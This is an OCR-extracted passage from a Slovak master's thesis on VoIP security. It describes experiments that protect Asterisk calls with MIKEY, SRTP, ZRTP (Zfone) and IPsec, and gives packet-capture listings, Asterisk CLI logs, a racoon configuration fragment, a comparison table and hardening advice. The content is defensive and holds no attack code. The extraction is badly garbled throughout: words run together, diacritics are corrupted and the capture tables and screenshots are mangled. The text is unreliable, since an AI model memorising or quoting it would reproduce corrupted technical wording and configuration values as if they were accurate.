3.283 (50605’&1—“‘”{5060} SIP: Status: 401 Unauthorized

3.286 [5osojl.w 5060)

3.297 (5060) 5060)

3.297 (5oso)§FM"ﬂ![soso)

S5IP: Request: ACK sip:100@192.168.1.40
SIP/SDP/MIKEY: Request: INVITE sip:100@192.168.1.40, with session description, Mikey: Pre-shared

SIP: Status: 100 Trying

3,339 \ [sosojwﬂ'[soso) SIP/SDP/MIKEY: Request: INVITE sip:100@192.168.1.41:5060;transport=UDP, with session descriptio
I |
3,375 ' [5050)‘5 hﬂm'ﬂt“ﬂﬁsosoj SIP: Status: 406 Not Acceptable
3.375 (5050 ACK si Sogn)| SIP: Request ACK sipi100@192.168.1.41:5060;transpart=UDP
|
3.375 [5050)‘; £ 5060) b SIP: Status: 603 Declined
Request: ACK sip:]0 ' . ) -
3377 (50607 5060) ' SIP: Request: ACK sip:100@192.168.1.40

Obr.8.1: Vymenalicov protokolom MIKEY a odmietnutie DHHMAC

Z dovodu nekompatibility klienta k vygenerovanémuabezpéeniu, tato metdéda nel
poZzadované zabezfmnie a umoiuje bezpény prenos Ruc¢ov len od volajuceho k Ustredni.
Odchyteny priklad uvedenej moZnosti zabéepé iba volajucej strany je prilozeny na DVD.
Podpora alalSi vyvoj tejto verzie Asterisku bol pozastavengomunita sa sustdije na vyvoj
verziesrtp_reboot ktord som testoval v ostatnych experimentochréktoa véky potencial dosta
sa dotrunkualebo dokonca do poslednych verziret€ase candida)e
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8.3 Sifrovanie zvukovej &asti prebiehajliceho hovoru

8.3.1 Asterisk s podporou SRTP

K prenosu a Sifrovaniu prenasanych datovych paketkenfiguracii s Ustretbu Asterisk mame
k dispozicii dve moZnosti. Prvou je uz nevyvyjamdizia Asterisksrtp spominana v kapitole 5.1.1,
a druhou je stale podporovana a vyvyjana verzieemsit srtp_rebootdosptupna svn servra.
Konzultant a vyvojar Terry Wilson neustale aktuajéz a prispdsobuje spominanu verziu
srtp_rebootkdduco najviac priblizf poslednej oficialnej verzii Asterisk 1.6.3 resgrinku. Prave
tuto verziu Asterisk som pouZil aj vtejto kapitofe predvedenie komunikacie s koncovym
klientom pri zabezpeni protokolom SRTP. Konfigutaé subory su zhodné s konfiguraciou pri
pouZziti TLS protokolu, ptiom subor extensions.confsom upravil na zaklade Wilsonovych
prispevkov z diskusie [23], priloha A.5. Pre jedingth uZzivatd€ov je dolezity parameter
definujuci podporu Sifrovania hovoru:

encryption=yes

Pre preliadno$ som inicializoval hovor bez Sifrovanej signalizagj. UDP,¢o si vyziadalo mald
zmenu Vv konfiguraciextensions.conf podobe nastavenia premensegure_bridge_signalinga
hodnotu 0. Pévodne konfiguraciagita ako so Sifrovanou datovou zlozkou, tak aj zagdgnymi
signaliz&nymi paketmi v podobe TLS. Vysledok hovoru z pexdiu Asterisk CLICommand Line
Interface vyzeral nasledovne:

-- Executing [200@SIP_context:1] Set("SIP/100-0 0000003",
"CHANNEL(secure_bridge_signaling)=1") in new stack

-- Executing [200@SIP_context:2] Set("SIP/100-0 0000003",
"CHANNEL(secure_bridge_media)=1") in new stack

-- Executing [200@SIP_context:3] NoOp("SIP/100- 00000003", "Bridge
signaling: 1") in new stack

-- Executing [200@SIP_context:4] NoOp("SIP/100- 00000003", "Bridge media:
1") in new stack

-- Executing [200@SIP_context:5] Dial("SIP/100- 00000003", "SIP/200") in
new stack
[Apr 4 15:55:07] WARNING[3271]: chan_sip.c:4190 si p_call: Encrypted

signaling is required
-- Couldn't call 200
== Everyone is busy/congested at this time (0:0/0 /0)
-- Executing [200@SIP_context:6] Gotolf("SIP/10 0-00000003",
"1?encrypt_fail") in new stack
-- Goto (SIP_context,200,8)

-- Executing [200@SIP_context:8] Set("SIP/100-0 0000003",
"CHANNEL(secure_bridge_signaling)=0") in new stack

-- Executing [200@SIP_context:9] Dial("SIP/100- 00000003", "SIP/200") in
new stack

-- Called 200

-- SIP/200-00000005 is ringing
-- SIP/200-00000005 answered SIP/100-00000003

Ako koncového klienta som pouzil oswedy Phonerlite.V nastaveni zmenime formu signalizacie
UDP, TCP alebo TLS. Sifrovanie protokolom SRTP ndstaw zalozkeConfiguration—> Codecs

a zaskrtnutim SRTP a SAVP prikdZzeme klientovy, ¥laiti SDP poloZku SAVP, ktora predstavuje
bezpé€nostné rozSirenie k AVR(Udio Video Profile Vymena Kica je tu rieSena formatom
SDESEGecurity Descriptions ktory poskytuje bezgaostny popis pre SDP protokol. Tato sluzba
ale musi by doplnené pridavnou napr. TLS alebo S/MIME aby tebalite’'na pre ostatné strany.
Obsahuje aj polozku ,crypto®, ide o 128 bitovyuk pre Sifrovaci mechanizmus AES Counter
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mode. Ten je vyp@tany klientom pomocou algoritmu a vioZzeny do tedéketu. PoloZzka ,crypto”
obsahuje aj takzv. HMAC_SHAL, predstavuje hash mar&ovanie (overenie) spravy.

Samotny Asterisk si po prijati takéhoto paket&legi ndhodny port a pre tohto klienta priradi
schopnos Sifrova’ RTP data pomocou’lica, ktory si odvodi z prijatého hlavnéhtika. Nasledne
pod’a konfiguricie posiela spravu INVITE volanémdastnikovi s vygenerovanim vlastného
hlavného Ruca a @dakava potvrdenie od volaného klienta, pre potvreléifrovaného spojenia na
druhu stranu. V pripade potvrdenia druhej stramyijatim spojenia napr. ,200 OK" si server
rovnako nastavi extra port pre spojenie a potvufoh\v&any prenos. Toto prijatie hovoru prepoSle aj
volajucej strane s vygenerovanim nového AEGH. Prave z tohto si volajuci uzivBtpomocou
KDF(Key derivation functionvypccita session keygouzité na zasifrovanie RTP dat.

192.168.1.41 192.168.1.39

Time 192.168.1.43 Comment

0.902 SIP From: sip:100i@2192.168.1.42 Tosip:200@192.168.1.43

0.902 SIP Status

0.902 SIP Request

0.902 SIP From: sips100@192.168.1.43 Tosim200@192.168.1.43

0.902 SIP Status

0.905 SIP From: sip:100@192.168.1.43 Tosip:200@192.168.1.39:5060
0918 SIP Status

0918 SIP Status

0.929 SIP Status

3689 SIP Status
3691
3691
3,705
3,705
3.705 (s062)2BIE(Q7LIU} .
3716 __SRTP (g711U) '
1716

15.741
15.741

SIP Request

S5IP Status

SIP Request

SRTP Mum packets:603 Duration:12.025s SSRC:0xF834CF44
SRTP Mum packets:602 Duration:12.026s SSRC:0x259C05324

SRTP Mum packets:604 Duration:12.063s SSRC:0x524C84C3

SRTP Mum packets:602 Duration:12.025s5 SSRC:0x35415DES
SIP Request

SIP Status

5IP Request

1 m 1
15779 [egeny e

15.780 ' ' SIP Status

(5060)1 i(5060)

Obr.8.2:  Sifrovana medialri@s’ hovoru, obsluhovana UGstigsl Asterisk

Po uspeSnom zostaveni hovoru komunikuju obe stkazy problémov Sifrovane cez Asterisk.
Ukonéenie hovoru prebieha klasicky poslanim paketu githau BYE, ktor4 ale ako sme si
spominali uz skér nepouZziva autentizaciu tj. miéjeec zabezgena.

8.3.2 Hovor zabezpéeny ZRTP protokolom

ZRTP pouziva k vymene Sifrovacich’tBov uz vytvoreny a prebiehajuci hovor. Princip je
podrobne rozpisany v kapitole 4.5. V teftasti by som chcel prakticky demonStréviainkciu
Zfone aplikacie ako doplnku k beznému softphonu [29].tefisk Standardne neumae
preposielanie ZRTP paketov. Komunita Asterisku sghodla uzatvori spornt otazku pridania
podpory ZRTP do kdédu Asterisku a na webe [39] jevasgné vlakno na rieSenie tohoto problému,
ku ktorému vSak od Novembra 2007 nebol pridanyetigarispevok a z webovych for je zrejmé, ze
vyvoj Asterisku nema zatiazaujem tento bezpeostny protokol implementovapretoze ZRTP
stale nema oficialny RFC lediraft verziu. Na webe Phila Zimmermana je ale uvedemji’pdny
manual na pouzitie ZRTP knihovny s Asteriskom [4®4tch umoiujaci importova chybajuci
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ZRTP modul do Asterisku nie je volne dostupny a @ppamom kontaktovani support centra mi
na email poslali link na stiahnutie potrebného patca kniznice IlibZRTP SDKoftware
Developement Kjtpod licenciou AGPL [42]. Verzia patchu je platkdnkrétne k verzii Asterisk
1.4.23.1. Patch je ale demy vyslovne ktestovaniu a pravdou je Ze k uspe&oenpilacii

a naslednej inStalicii Asterisku s ZRTP patchom swomsel uskuténit’ niekd’ko zasahov
aby program UspeSne skompiloval. Aj tak s vysledkoiekd’kych desiatok Warning' sprav.
Napriek tomu, ale nakoniec Asterisk dokazal pregasivyjednavacie ZRTP pakety atym
zabezpéit' prostredni bod medzi komunikujucimi stranami. Vhoi Asterisk ZRTP Users Guide
[40] je popisany af’alSi mod Ustredne Asterisk s ochranou proti MiTMoYhto mode sa samotny
Asterisk stara o overenie SAS{ort Authentication Stringu registrovanych uZzivdtev a po
vytoceny Specalnehdisla si tento string mézme ovépriamo s Asteriskom,.

Po nainStalovani aplikaciZfone bezi paralelne s koncovym klientom a v pripadevargnia
nového hovoru zabezgievymenu Sifrovacich parametrov a nasledne Sifreva&iTP streamov
podobne ako SRTP. V nastaveni ummg#2 okrem inych aj zmenu SifrovaciehBlka AES aZz na
256 bitov.
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Obr.8.3:  VolIP hovor spolu s inicializaciou a Sifemim ZRTP protokolom

Signaliz&nac¢ag’ hovoru je obsluhovanéa Ustreml Asterisk a az v pripade zahgjenia RTP streamu
je datovy tok presmerovany priamo medzi koncovy&hstnikov — funkciaanreinvit¢Standardne
povolend).Zfone poskytuje rovnako zabezfmnie proti MiTM Utokom zobrazenim SASH{ort
Authentication String Testovany hovor som odchytil pomocdtiresharku a RTP pakety
prebiehajiceho hovoru mézme vidig grafe na Obr.8.4. Na Obr.8.3 os X predstavujkud
hovoru a os Y mnoZstvo vyslanych paketoervené impulzy predstavuji vyslané ZRTP pakety.
Z obrazku 8.4 je patrné, Zonezahajuje Sifrovanie RTP prenosu pomocou vymeneRjatov
293 ms po zahajeni hovoru. Od tohto bodu je preliehhovor Sifrovany. Asi po 16 sekunde som
vypol Sifrovanie &fonevyslal paketGoClear, nasledne bolo mozné nezabegyg hovor odchyti
spdsobom opisanym v kapitole 7.5. Sifrovanie poradgoSecuresom opé zapol v 28 sekunde.
Odchytena siova komunikacia a audio subor s testovacim hovosGnmahrané na prilozenom
DVD noski.

SamotnyZfonepodsobi profesionalne a fufios’ a nastavenia aplikacie st na dobrej trovni. Za
vyzdvihnutie utite stoji vlastnos uistenia bezpmej komunikacie cez zabezfamy kanal pomocou
grafickych a zvukovych prvkov. Této vlasttia®n6ze by pre jednoduchych uZivdey z polfadu
zabezpéenia kriticka.
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4,609 (5060):5tatus= 200 OK 1{5050) SIP/SDP: Status: 200 OK, with session description

i
uest: ACK sip:1 ! . . F. o
4,611 (susuﬁsg—p—'%susu) : SIP: Request: ACK sip:l00@192.168.1.41:5060
4,611 Sender ?Epurt ! RTCP: Sender Report

(5063)1 (45005)
4,611 (5052): PT=ITU-T G.711 PCMU :(45004) RTP: PT=ITU-T G.711 PCMU, $SRC=0x211CA2C, Seq=26373, Time=10189792, Mark
4,620 (5053): Sender ?Eﬁort :(45005) RTCP: Sender Report
4,620 (5052): PT=ITU-T G.711 PCMU :( 45004y RTP:PT=ITU-T G.711 PCMU, $SRC=0xF3DCBEOA, Seq=25288, Time=23076880, Mark
4,627 (5062)! PT=ITU-T l$-71 1 PCMU asnngy RTP: PT=ITU-T G.711 PCMU, SSRC=0x211CA2C, Seq=26374, Time=10189952
4,641 (5052): PT=ITU-T G.711 PCMU :( 45004y RTP: PT=ITU-T G.711 PCMU, SSRC=0xF 3DCBE0A, Seq=29289, Time=23077040
4,645 (s062)" PT=ITU-T l#-Tl 1 PCMU 45004y RTP: PT=ITU-T G.711 PCMU, SSRC=0x211CAZC, $eq=26375, Time=10190112
4, BE6 (5052): PT=ITU-T G.711 PCMU :( 450p4) RTP:PT=ITU-T 6.711 PCMU, SSRC=0xF3DCBEDA, Seq=29290, Time=23077200
4,668 (5062’ PT=ITU-T l?-Tl 1 PCMU (asnn4y RTP: PT=ITU-T G.711 PCMU, SSRC=0#211CAZC, Seq=26376, Time=10190272
4,685 (5052): PT=ITU-T G.711 PCMU :( 45004y RTP: PT=ITU-T G.711 PCMU, SSRC =0xF 3DCBE0A, Seq=29291, Time =23077360
4,686 (5062) ! PT=ITU-T lJ'f-Tl 1 PCMU {(45004) RTP: PT=ITU-T G.711 PCHU, $5RC=0x211CAZC, 5eq=26377, Time=10190432
4,685 (5052): Hello Packet :( 45004) ZRTP: Hello Packet
4,689 (5062)] HE“'J-F\UIt Packet 45004) ZRTP: HelloACK Packet
4,705 (5052): PT=ITU-T G.711 PCMU :( 45004y RTP: PT=ITU-T G.711 PCMU, SSRC=0xF 3DCBE0A, Seq=29292, Time=23077520
4,705 (s062)" PT=ITU-T l#-Tl 1 PCMU 5004y RTP: PT=ITU-T G.711 PCMU, SSRC=0x211CAZC, $eq=26378, Time=10190592
4,725 (5052): PT=ITU-T G.711 PCMU :(45004) RTP: PT=ITU-T G.711 PCHU, S5RC=0x211CAZC, $2q=26379, Time=10190752
4,726 (S062). Hello F!'aCkEt asn04y ZRTP: Hello Packet
4,726 (5052): PT=ITU-T G.711 PCMU : {4504y RTP:PT=ITU-T G.711 PCMU, SSRC=0xF3DCSEOA, Seq=29293, Time=23077630
4,745 (5062) ! PT=ITU-T lJ'f-Tl 1 PCMU {(45004) RTP: PT=ITU-T G.711 PCHU, $5RC=0x211CAZC, 5eq=26380, Time=10190912
4,759 (5062) %(45004) ZRTP: Commit Packet
4,815 (5062)] DHPartil Packet {45004) ZRTP: DHPart1 Packet
4,817 (5052): DHPart2 Packet :( 45004) ZRTP: DHPart2 Packet
4,693 (s062). Ennﬁrmli Packet 45004y ZRTP: Confirm1 Packet
4,893 (5052): Confirm? Packet :(45004) 2ZRTP: Confirm2 Packet
4,902 (S062). ED“"Z“E‘F Packet as004y ZRTP: Conf2ACK Packet
4,904 (5052): PT=ITU-T G.711 PCMU :( 45004y RTP: PT=ITU-T G.711 PCMU, SSRC =0xF 3DCBE0A, Seq=29301, Time =23078960
4,914 (5062)! PT=ITU-T lJ'f-Tl 1 PCMU asongy RTP: PT=ITU-T G.711 PCMU, $SRC=0x211CA2C, Seq=26385, Time=10191712

Obr.8.4: RTP prenos s vyjednanim D-H parametroZiéP

8.3.3 VolIP komunikacia zabezpé&ena IPsec protokolom

DalSou variantou zabez@nia ako signalizmej tak aj medialnej zlozky hovoru je protokol IBse
Teoreticky popis a vysvetlenie je obsiahnuté vi@d@i4.6. Tato kapitola sa venuje praktickému
zabezpeéeniu mojej testovacej konfiguracie pomocou IPsextgiolu. PouZil som virtualny stroj
Linux s nainStalovanou verziou Asterisk SVN-groufpsreboot-r255206. Pomocoulapt
balickovacieho programu som nainStalovipkec-tools ktory zabezp&je podporné knihovny

a SADSecurity Association Databgsea SPDGecurity Policy Databa3e pre kernel a
aplikaciuracoon ¢o je vlastne ISAKMPternet Security Association and Key Management
Protoco) démon pre dohodnutie avymendlUéov a SA databadz. Po spravnom nastaveni
konfigurainych suborovipsec-tools.confaracoon.confpod’a [30] a [31] restartujeme obidve
sluzby. Obidva prikazy najdeme v ceste /etc/initidsec sluzba pouziva prikagtkeya ISAKMP
démon logickyracoon Ako autoriz&nt metdédu som pouzil PSRfe-shared kel pricom hesla sa
definuju zvla§ v suborepsk.txt Na vyber je eSte mozZnbsautorizacie pomocou certifikatou
podpisanych neakou certifik@ou autoritou. IPsec umidje aj zabezpgnie vymeny verejnych
kracov pomocou PF®erfect Forward Secregya teda uistenie Ze ani pri odhaleni jedného zo
sukromnych Ri¢ov nebude mozné odhékessiorkeykr'a¢ pouzity k synchronnej Sifre).

sainfo anonymous {
pfs_group modp1024;
encryption_algorithm 3des;
authentication_algorithm hmac_shal,;
compression_algorithm deflate;
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Pre vykonové dévody som toto zabesgmde v mojom experimente nekonfiguroval, pretoZél D-
vypccet pridava istl z&@7 na uz tak zaneprazdneny systém samotnou vynfeAbua SPD, ako
mébzme vidi€ z odozvy systému na obrazku v prilohe A.7. KommpgiouZité konfigukaé subory
su zobrazené v prilohe A.6 ako aj na DVD. Tou&x'ou je linuxova konfiguracia kompletna
a zostava este nakonfiguravartualne stroje s Windows XP.

Pri vytvarani IPsec konfiguracie pod Windowsom ssarinspiroval viacerymilankami najma
v3ak [32]. MoZnosti konfiguracie st naozaj kompkanpreto je dblezité pochdpielému principu
IPsec. Vo Windows XP je v nastaveniach zabégpia IP protokolu hn# dostupnych niekitko
nakonfigurovanych moZznosti(zdsad). Ja som jedriat€®erver) upravil a ako IP filter som zvolil
len UDP pakety z lokalnej IP adresy na IP adredvedse Asterisk. Pravidlo som nastavil na
prijimanie aj nezabezpenej premavky ale odpo¥ebude vzdy zabezpena. Podobne pre protokol
ICMP, pouzity len na vyjednanie SAD.

Pozadovat zabezpeceni - vlastnosti @ Upravit pravidlo - vlastnosti

Héton zébezpeéenf Obecné | Mastaveni tunelového propajsni | Typ pfipojeni
- [ SeanamfititlP | Akee it Metody averovani

™ Povolit [

" Blakavwat Mevt?dyl_m{éfovéni Léréuil’v\-:ztah c!f}véryho;lposti mezj__c!vé'ma
& e _,_SE_. poditadi. Tyto metody avéfovani jsou nabizeny a pfiimany
Pl metodl obe pecend == pi wyjednéwani zabezpegeni s jinim poitatem.

Upfednostfiované pofadi metod zabezpedeni:

Tvp Integrita &4H CiivEmost ESP Integrita ESP Pfidat...

L <2 Adrifs IMES SHAT Upfednostfiowané pofadi metod ovéfovani:

Vlastni <§édnﬁ> IDES MD5 Hpravit... Metoda Padiobnosti Fridat...
Wlastni L2 adni> DES SHal Predsdilent kiiz h

L e i ke ostpsk2
Wiastni <Zadnj> DES MDS dehik Cettifkaini GFad L=z, 5=M0, Ostest, . Uprasit...
K.erberos
Odebrat
< > Dol s
¥ Priiimat nezabezpetenou komunikaci, ale v2dy odpovidat poroci protokolu IPzec Dol
I Povolit nezabezpeéenau komunik.aci  poéitadi, které nepodpori protokal IPsec
I Metoda Perfect Fonward Secrecy pro kIFE relace
[ oK J I Storno I
[ 0K ] I Stormo ]

Obr.8.5:  Priklad nastavenia metod zabéep&a a metdd autorizacie

Autorizicia musi by PSK — predsdielanyrlla¢ rovnako ako na linuxovom stroji s Asteriskom.
V prostredi Windows existuje djalSia varianta autorizackeerberosprepojeny so sluzbou Active
Directory. Ten by ale vyZadoval extra Kerberos sebeZiaci na linuxe preto som ostal pri metéde
PSK. Po prispésobeni zvolenej zasady, tu potoragtirime ako funknu a nastavené pravidla prejdu
okamzite do aktivneho stavu.

Pokusil som sa vysfaniekd’ko paketov aby nastala prva faza dohody zalkeEx@eich
parametrov pre IPsec protokol ISAKMP. Zvykne satkt vyuZivaé ICMP protokol a prikaz ping.

C:\ping 192.168.1.43

Prikaz ping na 192.168.1.43 s délkou 32 bajt a
Vyjednavani protokolu IP Security

Odpoved od 192.168.1.43: bajty=32 ¢as=1ms TTL=64
Odpovéd od 192.168.1.43: bajty=32 ¢as=1ms TTL=64
Odpoveéd od 192.168.1.43: bajty=32 ¢as=1ms TTL=64

Nasledujuce pakety su Sifrované vo formate ESRgobrazku 0 z kapitoly 4.6. Tymto sposobom
je zaSifrovanad ako signalisaa tak aj medialna&as’ komunikacie. Odchytena komunikacia
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vytvorenia a priebehu hovoru je zobrazena ako Ipaila.7 a prilozend na DVD. N&asovej oOsi
odchytenej komunikacie je dobre vidité vé’kd odozva systému od vynia volaného k prijatiu
signalu vyzvanania az 1,6 s. Je to spésobené nutpmenou SAD a SPD z oboch stran, ktora
nebola dopredne vykonana napr. spominamym prike2iW&G. Data prenasané ESP paketmi su
Sifrované a pre prechadzajlce uzlgiteiné, paket vyzera nasledovne.

Frame 85 (646 bytes on wire, 646 bytes captured)

Ethernet II, Src: CadmusCo_c5:12:b4 (08:00:27:¢c5:12 :b4), Dst: CadmusCo_f5:7b:89
(08:00:27:f5:7b:89)
Internet Protocol, Src: 192.168.1.43 (192.168.1.43) , Dst: 192.168.1.39 (192.168.1.39)

Encapsulating Security Payload
ESP SPI: 0x6cf4f3bd
ESP Sequence: 1

8.4 Celkové zhodnotenie a porovnanie uvedenych bezp  eé€nostnych
opatreni

V tejto kapitole porovndm vykonané experimenty hljaolu vykonu, obtiaZznosti implementacie
a celkového zabezpenia pouzitej metody. V diplomovej praci som pricSide experimentov
pouzil klientPhonerlite iba v pripade vymenyrkica protokolom MIKEY som bol nateny potizi
klient Minisip, lebo je to jediné zo softphone zariadeni podpmeljtento protokol, ktoré som
objavil.

Prva bezp&nostna metdda spivala v zabezpeeni signalizanej casti VolP komunikécie. Ide
o pouzitie TLS protokolu avymenu bezpestnych certifikdtov. Pre nativhu podporu TLS
softphone Kklienta, napr. Phonerlite, je nuthodastnt’ administratorom vytvoreny certifikat.
Relativne komplikovanym krokom pre jednoduchych peat&’ov mbze by samotné priradenie
prideleného certifikatu k vytvorenémuta. Administrator Asterisku musi samozrejme najprv
korektne takyto certifikat vygenerof/a podpisé verejnou CA. Po UspesSnom priradeni certifikatu
k U¢tu klienta a spravnej konfiguracii na ustredni pebl nasledna zabezgma komunikacia bez
problémov a poskytuje end-to-end zab&gpée medzi dastnikom a servrom bez moznosti zdsahu
tretej stranyDalSou nevyhodou tohto zabeZpeia je moznas MitM Gtoku, ktory méze nasta
v pripade, ak jedna stranag¢giou koncovy dastnik, prijme faloSny podvrhnuty certfikat.

Druhé testované opatrenie, ktorym je protokol MIKE¥ povazované za bezpgl metodu
vymeny Sifrovacich Kicov. Protokol podporuje viacero bezpestnych metéd podrobne
opisanych v kapitole 4.3. Jednou z nevyhod pri pbtghto protokolu je, ako uz bolo spominané,
nutnos’ siahnd® po softphone zariadeni, ktoré ho podporuje napentkMinisip. Problémom
v pripade tohto klienta je, Ze tato aplikacia sanaiesi vékej podpore a vyvoju, ako tomu bolo
niekd’ko rokov dozadu. Aj z tohto dévodu Minisip relativne nestabilny a neodladeny klient.
Dal3im tmavym miestom v prostredi okolo MIKEY prottk je ukoréenie podpory a vyvoja
Asterisk verzie implementujucdijomikey knihovnu prevzati z projektMinisip. V experimente
v kapitole 8.2 sa mi podarilo Specialnu verziu Aistas zkompilova a nakonfigurové s podporou
MIKEY protokolu. Vysledny efekt vSak nebol presnedfa aiakavania, pretoZze softphone
nedokazal odpoveddNVITE poziadavke Asterisku s parametrday-mgmt:mikeya metéde DH-
HMAC(jedina, ktoru Asterisk podporuje). V pripade stii@nej podpory zo strany vyrobcov
a softwarovych spotmosti by sa mohlo skuine jednd o zaujimavi mozndszabezpéenia
prenosu Rucov pre Sifrovanie hovorovej zlozky. Kée jej vyhodou je jej nen&tnog’, narozdiel
od napr. TLS (SIPS), ktor4d vyzaduje vytvorenie TQ&Pojenia arovnako predstavuje
mensSie problémy spojené s vymenou certifikatov.

O zabezpé&enie samotnej hlasoveégasti hovoru sa mimo inych méze posta&RTP protokol,
ktory je poda mdjho nazoru najvhodnejSou alternativou. Idemetsicky Sifrovaci protokol, ktory
si z preneseného mastetUka derivuje potrebny session’k adalSie premenné potrebné
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k Sifrovaniu. Predna®u je, Ze vé&Sina dnes dostupnych softphone klientov podporifjevénie
SRTP protokolom. Asterisk a jeho osud s podporou SRTRiblizeny v kapitole 5.1.1. Z&alSiu
prednos povazujem fakt, Ze konfiguracia Asterisku s jeloalgorou je relativne jednoducha a po
pochopeni zakladnych pravidiel dialplanu by s jedemfiguraciou nemal maproblém Ziaden
administrator. Pre end-to-end zabezpé&enie vSak SRTP Sifrovanie potrebuje dodato
zabezpé&enu vymenu spominanéhmasterkl'i¢a, rieSenim je napriklad predchadzajuce rieSenie
MIKEY alebo podporovany prenos cez zabe&rpe TLS vrstvu.

Pouzitie SRTP so Standardnym Sifrovacim algoritmoema vplyv na oneskorenie alebo
pridanie vékej vypaietnej z#laze na systém v porovnani s normalnym neSifrovari§iiP
prenosom. Je to Zasti vidite’né pri porovnantasovej osi odchytenej testovanej komunikacie
uloZzenej na DVD, kde s#&asy reakcii zvonenia na INVITE pakety liSia lenddoch desiatok
milisekind. Faktom je, Ze nejde o Uplne presné merpredstavujice realnu situaciudie sa
vSetky experimenty uskuttovali na virtudlnych rozhraniach a strojoch. Nakrimmu vSak
predstavené varianty a dosiahnuté vysledky poskytagtatonu predstavu na vyvodenie zaverov.

Tab.8.1. Prefad uskuténenych experimentalnych atokov a vysledkov

SRTP +TLS SRTP + MIKEY ZRTP IPsec
Systém so zabezpec. ano nie nie ano
Signalizaciou
Systém implementacne . .
oo ano nie nie ano
naroCny
9 dozva,svystemu, nizka nizka nizka nizka '
spbsobena Sifrovanim

1- pri doprednom vyjednani SAD a SPD

Dal3im z testovanych bezp®stnych opatreni je protokol ZRTP a jeho podobalikécii Zfone

V tomto pripade sa nekladie Ziadna Specialna pe¥kal na VolP server alebo pouzivany
softphone ako v predchadzajucich pripadoch. Td plaitid’ je RTP prenos presmerovany priamo
medzi komunikujucich &astnikov. V op&nom pripade je nutna inStalacia presnej verzierissie
zhodnej s ZRTP patchom a inStalaciithZRTP SDK Zabezp&enie ma na starostZfone
nainStalovany na obidvoch komunikujucich stranaplecifacoch). Po zinicializovani hovoru
akymkd'vek softphonom sa aktivuje &fone, a ako aplikadcia sledujuca naSe rozhranie na
akykd’vek VolIP hovor, nas informuje o stave zabégpea. Vyhodou je jednoducha praca
s aplikaciou ajej nen&ftpa implementacia, za malt nevyhodu mézeme povéztojaze stéle
predstavuje aplikaciu na pozadi, ktoru je potreisluhovad a to mbze prekaiaTo je vSak daza

jej jednoduchos a nenérénod’, ked'ze ZRTP pouZiva ku komunikacii vytvoreny RTP prerats
mozme vidi€ v kapitole 8.3.2. K odozve a vykonu VoIP systénpoazitim ZRTP protokolu by
som uviedol malé oneskorertiello Packetyktoré na testovanej virtualnej konfiguracii nastfo

88 milisekundach zahajenia RTP prenosu. Celkova v@gmeohoda IKicov pomocou D-H
metody prebieha po viac ako 200 ms, ako je zrejrkénaunikacie na Obr.8.4. Nasledne je cely
hovor zabezpeeny.
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192,168.1.41 J— 192.168.1.42

Time Host 1 192, 168.1.43 Host 2 Comment

0,000 (EP SPI=0x014f2 fﬂ(}]] E ESP: ESP (SPI=0x014F2851)
0,000 ESR{SPI=0:01a204he \ ESP: ESP (SPI=0x01a204be)
0,000 (EF‘ {SPI :UHUMFZE%J E ESP: ESP (SPI=0x014f2851)
0,000 = P (SPI=0x014f2g5 3 : ESP: ESP (S5PI=Dx014F2851)
0,000 (Eﬂ’ 5P1=DHDIEZD4!{ED] E ESP: ESP (SPI=0x01aZ04be]
0,000 : [ESP (SPI=0xdBa38asf ESP: ESP (SPI=Dxd8a38aSf)
0,025 E (# {SPI =UHUBd5EE-:4('i;]] ESP: ESP (SPI=0x08d5cc45)
0,053 (Ei&.f 5PI=DHDIEZD4&ED] : ESP: ESP (SPI=0x01aZ04be)

Obr.8.6: Odchytena IPsec komunikacigaaova odozva systému

Poslednym bezgeostnym opatrenim je zabezpaie na sitovej vrstve, ¢im sa nadradené
protokoly stavaju v sieti nevidifaé. Ide atasto pouzivané zabezjmmie IPsec. V podnikovych
rieSeniach sa vyuZiva prevazne na vytvaranie twBllm spojenia. IPsec méze pracdwa
viacerych médoch spominanych v kapitole 4.6. Piieepy VolP je najvhodnejSou metédou ESP
Sifrovanie v transportnom mode, gm sa neSifruje IP hlatka, ale bezp@e Sifrované su
prenadSané data. Podpora IPsec je Standardne e louixerzie kernel 2.6 implementovana v jadre
ako SElinux Security Enhanced linjpa k zaisteniu zakladnej fuékosti je potrebné doinStalova
balicek ipsec-tools Pre dynamicky systém je naviac potrebna inStaladkonfiguracia ISAKMP
démona, ktory sa bude staradynamickd vymenu a dohodu SAD a SPD. Rovnakoppstredi
Windows XP je IPsec uz implementovany aje potrelama spravna konfiguracia, filtrovanie
pravidiel a nasledné priradenie pozadovanej zapgaghysané v kapitole 8.3.3. Odozva systému s
IPsec je po faze vymeny SAD a SPD stabilnd a neragnal som Ziadne problémy vo vykone
alebo oneskoreni pri testovani ako je zrejmé z&rNa mojej konfiguracii hovory prebiehali
v oneskoreni 53 ms od odoslania INVITE paketu i spravy s odpovou ,180 Ringing®. To
znamena, ze sa nepotvrdili teoreticky mozné oneskarv pripade IPsec zabegpmia, ako
pridania vékej z&aze na systém. Pre porovnanie so Sifrovanim SRTRakgvproces trval 27 ms
ako m6zme vidie na Obr.8.2. Dodatmé oneskorenie by vSak pridalo Sifrovanie signaleza
pomocou TLS. Obdobné oneskorenie je bezné u Stmgar VolP systémov bez zabezenia.

Na zaver celkového zhodnotenia by som doplnkaiiko praktickych doporteni z literatary
[3] a zaujimavé protiopatrenia z knihy [25].

Délezité je pouziviavSade silné heslo. Pre SIP signalizaciu upredind$tdP alebo TLS spojenia.
Umoznt autentizaciu nato najv&Sie mnozstvo SIP poziadavok. V niektorych pripadgeh
vyhodné zmeni takzv. well-known porty napr. SIP - 5060. Posifna zabezp#t vSetky sluzby
servra s ustresbu. Nakonfigurové viaceré podsiete s vlastnou adresovag’ou pre hlas a data.
Oddelt’ hlasovu a datova premavku prislusnou VLANou, fisdlem alebo ACLAccess Control
List). Filtrova sukromnu internd prevadzku a prevadzku verejnegtesi Ubezpéit sa
o pravidelnom zaisteni a posilnenitsieych zariadeni. NainStalovaariadenie na ochranu proti
zneuzitiu ARP ARP spoofing attacksVSetky VolP komponenty systému by sa mali nazbada
oddelenej VLAN sieti. Ak je to moZné na LAN prepioah nastavi detekciu a obranu proti DoS.
NainStalovd a monitorova sie’ pomocou IDS lptrusion Detection Systgnpripadne pouzitie SIP
firewallov napr. www.sipera.com, www.securelogixito
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8.5 AutoinStala €né bezpe énostné profily

V navaznosti na predchadzajucu kapitolu a zhodmtéznych opatreni aj z Tab.8.1 som tri z nich
pripravil ako inStalény ,deb“ baltek pre linuxové distriblcie Debian alebo Ubuntu. frumol som

sa pre tri, ktoré su zrealizovéite ako sme mohli vidiev mojich predchadzajdcich experimentoch
a zarova dostatgne &inné pri poskytovani bezpeosti VolP hovorov. Na prilozenom DVD
